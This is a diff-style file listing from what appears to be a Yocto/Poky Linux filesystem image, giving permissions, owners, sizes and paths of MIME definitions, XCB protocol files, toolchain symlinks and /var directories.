+-rw-r--r-- root root 1753 ./usr/share/mime/font/woff2.xml
+-rw-r--r-- root root 2331 ./usr/share/mime/font/woff.xml
+-rw-r--r-- root root 17449 ./usr/share/mime/generic-icons
+-rw-r--r-- root root 29350 ./usr/share/mime/globs
+-rw-r--r-- root root 32606 ./usr/share/mime/globs2
+-rw-r--r-- root root 0 ./usr/share/mime/icons
+drwxr-xr-x root root 4096 ./usr/share/mime/image
+-rw-r--r-- root root 3325 ./usr/share/mime/image/bmp.xml
+-rw-r--r-- root root 928 ./usr/share/mime/image/cgm.xml
+-rw-r--r-- root root 2788 ./usr/share/mime/image/dpx.xml
+-rw-r--r-- root root 2896 ./usr/share/mime/image/emf.xml
+-rw-r--r-- root root 1017 ./usr/share/mime/image/fax-g3.xml
+-rw-r--r-- root root 3011 ./usr/share/mime/image/fits.xml
+-rw-r--r-- root root 2851 ./usr/share/mime/image/gif.xml
+-rw-r--r-- root root 1713 ./usr/share/mime/image/heif.xml
+-rw-r--r-- root root 2775 ./usr/share/mime/image/ief.xml
+-rw-r--r-- root root 1995 ./usr/share/mime/image/jp2.xml
+-rw-r--r-- root root 2914 ./usr/share/mime/image/jpeg.xml
+-rw-r--r-- root root 1890 ./usr/share/mime/image/jpm.xml
+-rw-r--r-- root root 1891 ./usr/share/mime/image/jpx.xml
+-rw-r--r-- root root 2043 ./usr/share/mime/image/ktx.xml
+-rw-r--r-- root root 1030 ./usr/share/mime/image/openraster.xml
+-rw-r--r-- root root 2775 ./usr/share/mime/image/png.xml
+-rw-r--r-- root root 1057 ./usr/share/mime/image/rle.xml
+-rw-r--r-- root root 3368 ./usr/share/mime/image/svg+xml-compressed.xml
+-rw-r--r-- root root 2782 ./usr/share/mime/image/svg+xml.xml
+-rw-r--r-- root root 2852 ./usr/share/mime/image/tiff.xml
+-rw-r--r-- root root 3033 ./usr/share/mime/image/vnd.adobe.photoshop.xml
+-rw-r--r-- root root 2120 ./usr/share/mime/image/vnd.djvu+multipage.xml
+-rw-r--r-- root root 2911 ./usr/share/mime/image/vnd.djvu.xml
+-rw-r--r-- root root 3101 ./usr/share/mime/image/vnd.dwg.xml
+-rw-r--r-- root root 3301 ./usr/share/mime/image/vnd.dxf.xml
+-rw-r--r-- root root 2244 ./usr/share/mime/image/vnd.microsoft.icon.xml
+-rw-r--r-- root root 933 ./usr/share/mime/image/vnd.ms-modi.xml
+-rw-r--r-- root root 2993 ./usr/share/mime/image/vnd.rn-realpix.xml
+-rw-r--r-- root root 2775 ./usr/share/mime/image/vnd.wap.wbmp.xml
+-rw-r--r-- root root 2764 ./usr/share/mime/image/vnd.zbrush.pcx.xml
+-rw-r--r-- root root 1985 ./usr/share/mime/image/webp.xml
+-rw-r--r-- root root 2901 ./usr/share/mime/image/wmf.xml
+-rw-r--r-- root root 3236 ./usr/share/mime/image/x-3ds.xml
+-rw-r--r-- root root 3249 ./usr/share/mime/image/x-adobe-dng.xml
+-rw-r--r-- root root 3454 ./usr/share/mime/image/x-applix-graphics.xml
+-rw-r--r-- root root 3863 ./usr/share/mime/image/x-bzeps.xml
+-rw-r--r-- root root 3517 ./usr/share/mime/image/x-canon-cr2.xml
+-rw-r--r-- root root 3480 ./usr/share/mime/image/x-canon-crw.xml
+-rw-r--r-- root root 3346 ./usr/share/mime/image/x-cmu-raster.xml
+-rw-r--r-- root root 3323 ./usr/share/mime/image/x-compressed-xcf.xml
+-rw-r--r-- root root 3230 ./usr/share/mime/image/x-dcraw.xml
+-rw-r--r-- root root 3119 ./usr/share/mime/image/x-dds.xml
+-rw-r--r-- root root 2780 ./usr/share/mime/image/x-dib.xml
+-rw-r--r-- root root 2906 ./usr/share/mime/image/x-eps.xml
+-rw-r--r-- root root 2720 ./usr/share/mime/image/x-exr.xml
+-rw-r--r-- root root 2767 ./usr/share/mime/image/x-fpx.xml
+-rw-r--r-- root root 3445 ./usr/share/mime/image/x-fuji-raf.xml
+-rw-r--r-- root root 1569 ./usr/share/mime/image/x-gimp-gbr.xml
+-rw-r--r-- root root 1672 ./usr/share/mime/image/x-gimp-gih.xml
+-rw-r--r-- root root 1564 ./usr/share/mime/image/x-gimp-pat.xml
+-rw-r--r-- root root 3863 ./usr/share/mime/image/x-gzeps.xml
+-rw-r--r-- root root 2927 ./usr/share/mime/image/x-icns.xml
+-rw-r--r-- root root 3043 ./usr/share/mime/image/x-ilbm.xml
+-rw-r--r-- root root 2863 ./usr/share/mime/image/x-jng.xml
+-rw-r--r-- root root 1821 ./usr/share/mime/image/x-jp2-codestream.xml
+-rw-r--r-- root root 3442 ./usr/share/mime/image/x-kodak-dcr.xml
+-rw-r--r-- root root 3428 ./usr/share/mime/image/x-kodak-k25.xml
+-rw-r--r-- root root 3444 ./usr/share/mime/image/x-kodak-kdc.xml
+-rw-r--r-- root root 3140 ./usr/share/mime/image/x-lwo.xml
+-rw-r--r-- root root 3058 ./usr/share/mime/image/x-lws.xml
+-rw-r--r-- root root 3324 ./usr/share/mime/image/x-macpaint.xml
+-rw-r--r-- root root 3495 ./usr/share/mime/image/x-minolta-mrw.xml
+-rw-r--r-- root root 2793 ./usr/share/mime/image/x-msod.xml
+-rw-r--r-- root root 2665 ./usr/share/mime/image/x-niff.xml
+-rw-r--r-- root root 3442 ./usr/share/mime/image/x-nikon-nef.xml
+-rw-r--r-- root root 3607 ./usr/share/mime/image/x-olympus-orf.xml
+-rw-r--r-- root root 3360 ./usr/share/mime/image/x-panasonic-rw2.xml
+-rw-r--r-- root root 3358 ./usr/share/mime/image/x-panasonic-rw.xml
+-rw-r--r-- root root 3499 ./usr/share/mime/image/x-pentax-pef.xml
+-rw-r--r-- root root 2793 ./usr/share/mime/image/x-photo-cd.xml
+-rw-r--r-- root root 3911 ./usr/share/mime/image/x-pict.xml
+-rw-r--r-- root root 2789 ./usr/share/mime/image/x-portable-anymap.xml
+-rw-r--r-- root root 2904 ./usr/share/mime/image/x-portable-bitmap.xml
+-rw-r--r-- root root 2830 ./usr/share/mime/image/x-portable-graymap.xml
+-rw-r--r-- root root 2828 ./usr/share/mime/image/x-portable-pixmap.xml
+-rw-r--r-- root root 2989 ./usr/share/mime/image/x-quicktime.xml
+-rw-r--r-- root root 2784 ./usr/share/mime/image/x-rgb.xml
+-rw-r--r-- root root 2640 ./usr/share/mime/image/x-sgi.xml
+-rw-r--r-- root root 3400 ./usr/share/mime/image/x-sigma-x3f.xml
+-rw-r--r-- root root 2956 ./usr/share/mime/image/x-skencil.xml
+-rw-r--r-- root root 3388 ./usr/share/mime/image/x-sony-arw.xml
+-rw-r--r-- root root 3388 ./usr/share/mime/image/x-sony-sr2.xml
+-rw-r--r-- root root 3387 ./usr/share/mime/image/x-sony-srf.xml
+-rw-r--r-- root root 3040 ./usr/share/mime/image/x-sun-raster.xml
+-rw-r--r-- root root 2867 ./usr/share/mime/image/x-tga.xml
+-rw-r--r-- root root 2644 ./usr/share/mime/image/x-tiff-multipage.xml
+-rw-r--r-- root root 2941 ./usr/share/mime/image/x-win-bitmap.xml
+-rw-r--r-- root root 2721 ./usr/share/mime/image/x-xbitmap.xml
+-rw-r--r-- root root 2832 ./usr/share/mime/image/x-xcf.xml
+-rw-r--r-- root root 2592 ./usr/share/mime/image/x-xcursor.xml
+-rw-r--r-- root root 2753 ./usr/share/mime/image/x-xfig.xml
+-rw-r--r-- root root 2798 ./usr/share/mime/image/x-xpixmap.xml
+-rw-r--r-- root root 3109 ./usr/share/mime/image/x-xwindowdump.xml
+drwxr-xr-x root root 4096 ./usr/share/mime/inode
+-rw-r--r-- root root 3006 ./usr/share/mime/inode/blockdevice.xml
+-rw-r--r-- root root 3145 ./usr/share/mime/inode/chardevice.xml
+-rw-r--r-- root root 2543 ./usr/share/mime/inode/directory.xml
+-rw-r--r-- root root 2413 ./usr/share/mime/inode/fifo.xml
+-rw-r--r-- root root 3021 ./usr/share/mime/inode/mount-point.xml
+-rw-r--r-- root root 2469 ./usr/share/mime/inode/socket.xml
+-rw-r--r-- root root 3295 ./usr/share/mime/inode/symlink.xml
+-rw-r--r-- root root 27700 ./usr/share/mime/magic
+drwxr-xr-x root root 4096 ./usr/share/mime/message
+-rw-r--r-- root root 3735 ./usr/share/mime/message/delivery-status.xml
+-rw-r--r-- root root 3771 ./usr/share/mime/message/disposition-notification.xml
+-rw-r--r-- root root 3777 ./usr/share/mime/message/external-body.xml
+-rw-r--r-- root root 3617 ./usr/share/mime/message/news.xml
+-rw-r--r-- root root 3728 ./usr/share/mime/message/partial.xml
+-rw-r--r-- root root 3183 ./usr/share/mime/message/rfc822.xml
+-rw-r--r-- root root 3427 ./usr/share/mime/message/x-gnu-rmail.xml
+-rw-r--r-- root root 136104 ./usr/share/mime/mime.cache
+drwxr-xr-x root root 4096 ./usr/share/mime/model
+-rw-r--r-- root root 2003 ./usr/share/mime/model/iges.xml
+-rw-r--r-- root root 1695 ./usr/share/mime/model/stl.xml
+-rw-r--r-- root root 3189 ./usr/share/mime/model/vrml.xml
+drwxr-xr-x root root 4096 ./usr/share/mime/multipart
+-rw-r--r-- root root 3761 ./usr/share/mime/multipart/alternative.xml
+-rw-r--r-- root root 4361 ./usr/share/mime/multipart/appledouble.xml
+-rw-r--r-- root root 3157 ./usr/share/mime/multipart/digest.xml
+-rw-r--r-- root root 3267 ./usr/share/mime/multipart/encrypted.xml
+-rw-r--r-- root root 3191 ./usr/share/mime/multipart/mixed.xml
+-rw-r--r-- root root 3209 ./usr/share/mime/multipart/related.xml
+-rw-r--r-- root root 3556 ./usr/share/mime/multipart/report.xml
+-rw-r--r-- root root 3203 ./usr/share/mime/multipart/signed.xml
+-rw-r--r-- root root 3867 ./usr/share/mime/multipart/x-mixed-replace.xml
+-rw-r--r-- root root 16073 ./usr/share/mime/subclasses
+drwxr-xr-x root root 4096 ./usr/share/mime/text
+-rw-r--r-- root root 1172 ./usr/share/mime/text/cache-manifest.xml
+-rw-r--r-- root root 3178 ./usr/share/mime/text/calendar.xml
+-rw-r--r-- root root 3113 ./usr/share/mime/text/css.xml
+-rw-r--r-- root root 2266 ./usr/share/mime/text/csv-schema.xml
+-rw-r--r-- root root 3027 ./usr/share/mime/text/csv.xml
+-rw-r--r-- root root 3801 ./usr/share/mime/text/enriched.xml
+-rw-r--r-- root root 3017 ./usr/share/mime/text/htmlh.xml
+-rw-r--r-- root root 2991 ./usr/share/mime/text/html.xml
+-rw-r--r-- root root 2600 ./usr/share/mime/text/markdown.xml
+-rw-r--r-- root root 3420 ./usr/share/mime/text/plain.xml
+-rw-r--r-- root root 3291 ./usr/share/mime/text/rfc822-headers.xml
+-rw-r--r-- root root 3602 ./usr/share/mime/text/richtext.xml
+-rw-r--r-- root root 2164 ./usr/share/mime/text/rust.xml
+-rw-r--r-- root root 3073 ./usr/share/mime/text/sgml.xml
+-rw-r--r-- root root 3961 ./usr/share/mime/text/spreadsheet.xml
+-rw-r--r-- root root 2849 ./usr/share/mime/text/tab-separated-values.xml
+-rw-r--r-- root root 3191 ./usr/share/mime/text/troff.xml
+-rw-r--r-- root root 2106 ./usr/share/mime/text/turtle.xml
+-rw-r--r-- root root 3618 ./usr/share/mime/text/vcard.xml
+-rw-r--r-- root root 2914 ./usr/share/mime/text/vnd.graphviz.xml
+-rw-r--r-- root root 3253 ./usr/share/mime/text/vnd.qt.linguist.xml
+-rw-r--r-- root root 3050 ./usr/share/mime/text/vnd.rn-realtext.xml
+-rw-r--r-- root root 1636 ./usr/share/mime/text/vnd.senx.warpscript.xml
+-rw-r--r-- root root 2876 ./usr/share/mime/text/vnd.sun.j2me.app-descriptor.xml
+-rw-r--r-- root root 3020 ./usr/share/mime/text/vnd.wap.wmlscript.xml
+-rw-r--r-- root root 3039 ./usr/share/mime/text/vnd.wap.wml.xml
+-rw-r--r-- root root 2632 ./usr/share/mime/text/vtt.xml
+-rw-r--r-- root root 3143 ./usr/share/mime/text/x-adasrc.xml
+-rw-r--r-- root root 2961 ./usr/share/mime/text/x-authors.xml
+-rw-r--r-- root root 3040 ./usr/share/mime/text/x-bibtex.xml
+-rw-r--r-- root root 3310 ./usr/share/mime/text/x-changelog.xml
+-rw-r--r-- root root 3007 ./usr/share/mime/text/x-c++hdr.xml
+-rw-r--r-- root root 2803 ./usr/share/mime/text/x-chdr.xml
+-rw-r--r-- root root 3188 ./usr/share/mime/text/x-cmake.xml
+-rw-r--r-- root root 1168 ./usr/share/mime/text/x-cobol.xml
+-rw-r--r-- root root 3113 ./usr/share/mime/text/x-copying.xml
+-rw-r--r-- root root 3127 ./usr/share/mime/text/x-credits.xml
+-rw-r--r-- root root 3074 ./usr/share/mime/text/x-csharp.xml
+-rw-r--r-- root root 3250 ./usr/share/mime/text/x-c++src.xml
+-rw-r--r-- root root 3064 ./usr/share/mime/text/x-csrc.xml
+-rw-r--r-- root root 1989 ./usr/share/mime/text/x-dbus-service.xml
+-rw-r--r-- root root 3032 ./usr/share/mime/text/x-dcl.xml
+-rw-r--r-- root root 3236 ./usr/share/mime/text/x-dsl.xml
+-rw-r--r-- root root 2994 ./usr/share/mime/text/x-dsrc.xml
+-rw-r--r-- root root 3254 ./usr/share/mime/text/x-eiffel.xml
+-rw-r--r-- root root 3617 ./usr/share/mime/text/x-emacs-lisp.xml
+-rw-r--r-- root root 3221 ./usr/share/mime/text/x-erlang.xml
+-rw-r--r-- root root 3527 ./usr/share/mime/text/x-fortran.xml
+-rw-r--r-- root root 1710 ./usr/share/mime/text/x.gcode.xml
+-rw-r--r-- root root 2317 ./usr/share/mime/text/x-genie.xml
+-rw-r--r-- root root 3320 ./usr/share/mime/text/x-gettext-translation-template.xml
+-rw-r--r-- root root 3221 ./usr/share/mime/text/x-gettext-translation.xml
+-rw-r--r-- root root 1013 ./usr/share/mime/text/x-gherkin.xml
+-rw-r--r-- root root 1138 ./usr/share/mime/text/x-google-video-pointer.xml
+-rw-r--r-- root root 2539 ./usr/share/mime/text/x-go.xml
+-rw-r--r-- root root 1644 ./usr/share/mime/text/x-gradle.xml
+-rw-r--r-- root root 1179 ./usr/share/mime/text/x-groovy.xml
+-rw-r--r-- root root 3360 ./usr/share/mime/text/x-haskell.xml
+-rw-r--r-- root root 3033 ./usr/share/mime/text/x-idl.xml
+-rw-r--r-- root root 3023 ./usr/share/mime/text/x-imelody.xml
+-rw-r--r-- root root 3418 ./usr/share/mime/text/x-install.xml
+-rw-r--r-- root root 3599 ./usr/share/mime/text/x-iptables.xml
+-rw-r--r-- root root 3086 ./usr/share/mime/text/x-java.xml
+-rw-r--r-- root root 3167 ./usr/share/mime/text/x-ldif.xml
+-rw-r--r-- root root 3110 ./usr/share/mime/text/x-lilypond.xml
+-rw-r--r-- root root 3063 ./usr/share/mime/text/x-literate-haskell.xml
+-rw-r--r-- root root 3190 ./usr/share/mime/text/x-log.xml
+-rw-r--r-- root root 2802 ./usr/share/mime/text/x-lua.xml
+-rw-r--r-- root root 1200 ./usr/share/mime/text/x-makefile.xml
+-rw-r--r-- root root 985 ./usr/share/mime/text/x-matlab.xml
+-rw-r--r-- root root 1881 ./usr/share/mime/text/x-maven+xml.xml
+-rw-r--r-- root root 3157 ./usr/share/mime/text/xmcd.xml
+-rw-r--r-- root root 2231 ./usr/share/mime/text/x-meson.xml
+-rw-r--r-- root root 3177 ./usr/share/mime/text/x-microdvd.xml
+-rw-r--r-- root root 2799 ./usr/share/mime/text/x-moc.xml
+-rw-r--r-- root root 2267 ./usr/share/mime/text/x-modelica.xml
+-rw-r--r-- root root 957 ./usr/share/mime/text/x-mof.xml
+-rw-r--r-- root root 3100 ./usr/share/mime/text/x-mpsub.xml
+-rw-r--r-- root root 3359 ./usr/share/mime/text/x-mrml.xml
+-rw-r--r-- root root 3496 ./usr/share/mime/text/x-ms-regedit.xml
+-rw-r--r-- root root 1114 ./usr/share/mime/text/x-mup.xml
+-rw-r--r-- root root 2801 ./usr/share/mime/text/x-nfo.xml
+-rw-r--r-- root root 3537 ./usr/share/mime/text/x-objcsrc.xml
+-rw-r--r-- root root 3076 ./usr/share/mime/text/x-ocaml.xml
+-rw-r--r-- root root 2703 ./usr/share/mime/text/x-ocl.xml
+-rw-r--r-- root root 2654 ./usr/share/mime/text/x-ooc.xml
+-rw-r--r-- root root 1909 ./usr/share/mime/text/x-opencl-src.xml
+-rw-r--r-- root root 3116 ./usr/share/mime/text/x-opml+xml.xml
+-rw-r--r-- root root 3227 ./usr/share/mime/text/x-pascal.xml
+-rw-r--r-- root root 3558 ./usr/share/mime/text/x-patch.xml
+-rw-r--r-- root root 1829 ./usr/share/mime/text/x-python3.xml
+-rw-r--r-- root root 3116 ./usr/share/mime/text/x-python.xml
+-rw-r--r-- root root 2865 ./usr/share/mime/text/x-qml.xml
+-rw-r--r-- root root 3185 ./usr/share/mime/text/x-readme.xml
+-rw-r--r-- root root 3144 ./usr/share/mime/text/x-reject.xml
+-rw-r--r-- root root 3198 ./usr/share/mime/text/x-rpm-spec.xml
+-rw-r--r-- root root 1880 ./usr/share/mime/text/x-rst.xml
+-rw-r--r-- root root 2443 ./usr/share/mime/text/x-sass.xml
+-rw-r--r-- root root 2616 ./usr/share/mime/text/x-scala.xml
+-rw-r--r-- root root 3324 ./usr/share/mime/text/x-scheme.xml
+-rw-r--r-- root root 2573 ./usr/share/mime/text/x-scons.xml
+-rw-r--r-- root root 1132 ./usr/share/mime/text/x-scss.xml
+-rw-r--r-- root root 3114 ./usr/share/mime/text/x-setext.xml
+-rw-r--r-- root root 2929 ./usr/share/mime/text/x-ssa.xml
+-rw-r--r-- root root 3142 ./usr/share/mime/text/x-subviewer.xml
+-rw-r--r-- root root 2665 ./usr/share/mime/text/x-svhdr.xml
+-rw-r--r-- root root 2853 ./usr/share/mime/text/x-svsrc.xml
+-rw-r--r-- root root 2364 ./usr/share/mime/text/x-systemd-unit.xml
+-rw-r--r-- root root 2818 ./usr/share/mime/text/x-tcl.xml
+-rw-r--r-- root root 3204 ./usr/share/mime/text/x-texinfo.xml
+-rw-r--r-- root root 3092 ./usr/share/mime/text/x-tex.xml
+-rw-r--r-- root root 3580 ./usr/share/mime/text/x-troff-me.xml
+-rw-r--r-- root root 3580 ./usr/share/mime/text/x-troff-mm.xml
+-rw-r--r-- root root 3580 ./usr/share/mime/text/x-troff-ms.xml
+-rw-r--r-- root root 1811 ./usr/share/mime/text/x-twig.xml
+-rw-r--r-- root root 3150 ./usr/share/mime/text/x-txt2tags.xml
+-rw-r--r-- root root 3074 ./usr/share/mime/text/x-uil.xml
+-rw-r--r-- root root 3061 ./usr/share/mime/text/x-uri.xml
+-rw-r--r-- root root 2586 ./usr/share/mime/text/x-uuencode.xml
+-rw-r--r-- root root 3062 ./usr/share/mime/text/x-vala.xml
+-rw-r--r-- root root 2676 ./usr/share/mime/text/x-verilog.xml
+-rw-r--r-- root root 2711 ./usr/share/mime/text/x-vhdl.xml
+-rw-r--r-- root root 2710 ./usr/share/mime/text/x-xmi.xml
+-rw-r--r-- root root 2956 ./usr/share/mime/text/x-xslfo.xml
+-rw-r--r-- root root 1140 ./usr/share/mime/treemagic
+-rw-r--r-- root root 17478 ./usr/share/mime/types
+-rw-r--r-- root root 5 ./usr/share/mime/version
+drwxr-xr-x root root 4096 ./usr/share/mime/video
+-rw-r--r-- root root 3285 ./usr/share/mime/video/3gpp2.xml
+-rw-r--r-- root root 3885 ./usr/share/mime/video/3gpp.xml
+-rw-r--r-- root root 1021 ./usr/share/mime/video/annodex.xml
+-rw-r--r-- root root 2734 ./usr/share/mime/video/dv.xml
+-rw-r--r-- root root 2779 ./usr/share/mime/video/isivideo.xml
+-rw-r--r-- root root 1888 ./usr/share/mime/video/mj2.xml
+-rw-r--r-- root root 3455 ./usr/share/mime/video/mp2t.xml
+-rw-r--r-- root root 3007 ./usr/share/mime/video/mp4.xml
+-rw-r--r-- root root 3190 ./usr/share/mime/video/mpeg.xml
+-rw-r--r-- root root 979 ./usr/share/mime/video/ogg.xml
+-rw-r--r-- root root 3114 ./usr/share/mime/video/quicktime.xml
+-rw-r--r-- root root 2948 ./usr/share/mime/video/vnd.mpegurl.xml
+-rw-r--r-- root root 3172 ./usr/share/mime/video/vnd.rn-realvideo.xml
+-rw-r--r-- root root 2913 ./usr/share/mime/video/vnd.vivo.xml
+-rw-r--r-- root root 3006 ./usr/share/mime/video/wavelet.xml
+-rw-r--r-- root root 2461 ./usr/share/mime/video/webm.xml
+-rw-r--r-- root root 3073 ./usr/share/mime/video/x-anim.xml
+-rw-r--r-- root root 2944 ./usr/share/mime/video/x-flic.xml
+-rw-r--r-- root root 2995 ./usr/share/mime/video/x-flv.xml
+-rw-r--r-- root root 2533 ./usr/share/mime/video/x-javafx.xml
+-rw-r--r-- root root 2381 ./usr/share/mime/video/x-matroska-3d.xml
+-rw-r--r-- root root 3095 ./usr/share/mime/video/x-matroska.xml
+-rw-r--r-- root root 1841 ./usr/share/mime/video/x-mjpeg.xml
+-rw-r--r-- root root 2935 ./usr/share/mime/video/x-mng.xml
+-rw-r--r-- root root 3153 ./usr/share/mime/video/x-msvideo.xml
+-rw-r--r-- root root 3200 ./usr/share/mime/video/x-ms-wmv.xml
+-rw-r--r-- root root 2934 ./usr/share/mime/video/x-nsv.xml
+-rw-r--r-- root root 2782 ./usr/share/mime/video/x-ogm+ogg.xml
+-rw-r--r-- root root 2811 ./usr/share/mime/video/x-sgi-movie.xml
+-rw-r--r-- root root 3102 ./usr/share/mime/video/x-theora+ogg.xml
+drwxr-xr-x root root 4096 ./usr/share/mime/x-content
+-rw-r--r-- root root 2504 ./usr/share/mime/x-content/audio-cdda.xml
+-rw-r--r-- root root 2531 ./usr/share/mime/x-content/audio-dvd.xml
+-rw-r--r-- root root 3388 ./usr/share/mime/x-content/audio-player.xml
+-rw-r--r-- root root 2971 ./usr/share/mime/x-content/blank-bd.xml
+-rw-r--r-- root root 2700 ./usr/share/mime/x-content/blank-cd.xml
+-rw-r--r-- root root 2732 ./usr/share/mime/x-content/blank-dvd.xml
+-rw-r--r-- root root 2889 ./usr/share/mime/x-content/blank-hddvd.xml
+-rw-r--r-- root root 2640 ./usr/share/mime/x-content/ebook-reader.xml
+-rw-r--r-- root root 2917 ./usr/share/mime/x-content/image-dcf.xml
+-rw-r--r-- root root 2565 ./usr/share/mime/x-content/image-picturecd.xml
+-rw-r--r-- root root 1123 ./usr/share/mime/x-content/ostree-repository.xml
+-rw-r--r-- root root 2645 ./usr/share/mime/x-content/software.xml
+-rw-r--r-- root root 2645 ./usr/share/mime/x-content/unix-software.xml
+-rw-r--r-- root root 3122 ./usr/share/mime/x-content/video-bluray.xml
+-rw-r--r-- root root 2627 ./usr/share/mime/x-content/video-dvd.xml
+-rw-r--r-- root root 2977 ./usr/share/mime/x-content/video-hddvd.xml
+-rw-r--r-- root root 2791 ./usr/share/mime/x-content/video-svcd.xml
+-rw-r--r-- root root 2509 ./usr/share/mime/x-content/video-vcd.xml
+-rw-r--r-- root root 2773 ./usr/share/mime/x-content/win32-software.xml
+drwxr-xr-x root root 4096 ./usr/share/mime/x-epoc
+-rw-r--r-- root root 2878 ./usr/share/mime/x-epoc/x-sisx-app.xml
+-rw-r--r-- root root 1631 ./usr/share/mime/XMLnamespaces
+drwxr-xr-x root root 4096 ./usr/share/misc
+drwxr-xr-x root root 4096 ./usr/share/pkgconfig
+-rw-r--r-- root root 328 ./usr/share/pkgconfig/bash-completion.pc
+-rw-r--r-- root root 120 ./usr/share/pkgconfig/shared-mime-info.pc
+-rw-r--r-- root root 90 ./usr/share/pkgconfig/udev.pc
+-rw-r--r-- root root 384 ./usr/share/pkgconfig/xorg-macros.pc
+-rw-r--r-- root root 213 ./usr/share/pkgconfig/xtrans.pc
+drwxr-xr-x root root 4096 ./usr/share/ss
+-rw-r--r-- root root 1551 ./usr/share/ss/ct_c.awk
+-rw-r--r-- root root 2290 ./usr/share/ss/ct_c.sed
+drwxr-xr-x root root 4096 ./usr/share/tabset
+-rw-r--r-- root root 135 ./usr/share/tabset/std
+-rw-r--r-- root root 95 ./usr/share/tabset/stdcrt
+-rw-r--r-- root root 160 ./usr/share/tabset/vt100
+-rw-r--r-- root root 64 ./usr/share/tabset/vt300
+drwxr-xr-x root root 4096 ./usr/share/udhcpc
+-rwxr-xr-x root root 49 ./usr/share/udhcpc/default.script
+drwxr-xr-x root root 4096 ./usr/share/wayland
+-rw-r--r-- root root 1266 ./usr/share/wayland/wayland.dtd
+-rw-r--r-- root root 292 ./usr/share/wayland/wayland-scanner.mk
+-rw-r--r-- root root 131466 ./usr/share/wayland/wayland.xml
+drwxr-xr-x root root 4096 ./usr/share/X11
+-rw-r--r-- root root 1723 ./usr/share/X11/Xcms.txt
+-rw-r--r-- root root 42077 ./usr/share/X11/XErrorDB
+drwxr-xr-x root root 4096 ./usr/share/xcb
+-rw-r--r-- root root 1705 ./usr/share/xcb/bigreq.xml
+-rw-r--r-- root root 3473 ./usr/share/xcb/composite.xml
+-rw-r--r-- root root 3299 ./usr/share/xcb/damage.xml
+-rw-r--r-- root root 3155 ./usr/share/xcb/dpms.xml
+-rw-r--r-- root root 9488 ./usr/share/xcb/dri2.xml
+-rw-r--r-- root root 5638 ./usr/share/xcb/dri3.xml
+-rw-r--r-- root root 1863 ./usr/share/xcb/ge.xml
+-rw-r--r-- root root 45351 ./usr/share/xcb/glx.xml
+-rw-r--r-- root root 7335 ./usr/share/xcb/present.xml
+-rw-r--r-- root root 30366 ./usr/share/xcb/randr.xml
+-rw-r--r-- root root 5924 ./usr/share/xcb/record.xml
+-rw-r--r-- root root 23693 ./usr/share/xcb/render.xml
+-rw-r--r-- root root 5912 ./usr/share/xcb/res.xml
+-rw-r--r-- root root 6573 ./usr/share/xcb/screensaver.xml
+-rw-r--r-- root root 6039 ./usr/share/xcb/shape.xml
+-rw-r--r-- root root 4778 ./usr/share/xcb/shm.xml
+-rw-r--r-- root root 8390 ./usr/share/xcb/sync.xml
+-rw-r--r-- root root 16132 ./usr/share/xcb/xcb.xsd
+-rw-r--r-- root root 1162 ./usr/share/xcb/xc_misc.xml
+-rw-r--r-- root root 2958 ./usr/share/xcb/xevie.xml
+-rw-r--r-- root root 5900 ./usr/share/xcb/xf86dri.xml
+-rw-r--r-- root root 14673 ./usr/share/xcb/xf86vidmode.xml
+-rw-r--r-- root root 12074 ./usr/share/xcb/xfixes.xml
+-rw-r--r-- root root 3453 ./usr/share/xcb/xinerama.xml
+-rw-r--r-- root root 103534 ./usr/share/xcb/xinput.xml
+-rw-r--r-- root root 91919 ./usr/share/xcb/xkb.xml
+-rw-r--r-- root root 11134 ./usr/share/xcb/xprint.xml
+-rw-r--r-- root root 206253 ./usr/share/xcb/xproto.xml
+-rw-r--r-- root root 8260 ./usr/share/xcb/xselinux.xml
+-rw-r--r-- root root 3968 ./usr/share/xcb/xtest.xml
+-rw-r--r-- root root 5363 ./usr/share/xcb/xvmc.xml
+-rw-r--r-- root root 16061 ./usr/share/xcb/xv.xml
+drwxr-xr-x root root 4096 ./usr/share/xml
+drwxr-xr-x root root 4096 ./usr/share/xml/dbus-1
+-rw-r--r-- root root 1907 ./usr/share/xml/dbus-1/busconfig.dtd
+-rw-r--r-- root root 1226 ./usr/share/xml/dbus-1/introspect.dtd
+drwxr-xr-x root root 4096 ./usr/share/xml/fontconfig
+-rw-r--r-- root root 7250 ./usr/share/xml/fontconfig/fonts.dtd
+drwxr-xr-x root root 4096 ./usr/src
+drwxr-xr-x root root 4096 ./usr/x86_64-poky-linux
+drwxr-xr-x root root 4096 ./usr/x86_64-poky-linux/bin
+lrwxrwxrwx root root 30 ./usr/x86_64-poky-linux/bin/ar -> ../../bin/x86_64-poky-linux-ar
+lrwxrwxrwx root root 30 ./usr/x86_64-poky-linux/bin/as -> ../../bin/x86_64-poky-linux-as
+lrwxrwxrwx root root 34 ./usr/x86_64-poky-linux/bin/ld.bfd -> ../../bin/x86_64-poky-linux-ld.bfd
+lrwxrwxrwx root root 30 ./usr/x86_64-poky-linux/bin/ld -> ../../bin/x86_64-poky-linux-ld
+lrwxrwxrwx root root 35 ./usr/x86_64-poky-linux/bin/ld.gold -> ../../bin/x86_64-poky-linux-ld.gold
+lrwxrwxrwx root root 30 ./usr/x86_64-poky-linux/bin/nm -> ../../bin/x86_64-poky-linux-nm
+lrwxrwxrwx root root 35 ./usr/x86_64-poky-linux/bin/objcopy -> ../../bin/x86_64-poky-linux-objcopy
+lrwxrwxrwx root root 35 ./usr/x86_64-poky-linux/bin/objdump -> ../../bin/x86_64-poky-linux-objdump
+lrwxrwxrwx root root 34 ./usr/x86_64-poky-linux/bin/ranlib -> ../../bin/x86_64-poky-linux-ranlib
+lrwxrwxrwx root root 35 ./usr/x86_64-poky-linux/bin/readelf -> ../../bin/x86_64-poky-linux-readelf
+lrwxrwxrwx root root 33 ./usr/x86_64-poky-linux/bin/strip -> ../../bin/x86_64-poky-linux-strip
+drwxr-xr-x root root 4096 ./var
+drwxr-xr-x root root 4096 ./var/backups
+drwxr-xr-x root root 4096 ./var/cache
+drwxr-xr-x root root 4096 ./var/cache/fontconfig
+drwx------ root root 4096 ./var/cache/ldconfig
+-rw------- root root 9934 ./var/cache/ldconfig/aux-cache
+drwxr-xr-x root root 4096 ./var/db
+-rwxr-xr-x root root 4453 ./var/db/makedbs.sh
+-rw-r--r-- root root 5351 ./var/db/Makefile
+drwxr-xr-x root root 4096 ./var/lib
+drwxr-xr-x root root 4096 ./var/lib/arpd
+drwxr-xr-x messagebus messagebus 4096 ./var/lib/dbus
+drwxr-xr-x root root 4096 ./var/lib/misc
+drwxr-xr-x root root 4096 ./var/lib/urandom
+drwxr-xr-x root root 4096 ./var/local
+lrwxrwxrwx root root 11 ./var/lock -> ../run/lock
+lrwxrwxrwx root root 12 ./var/log -> volatile/log
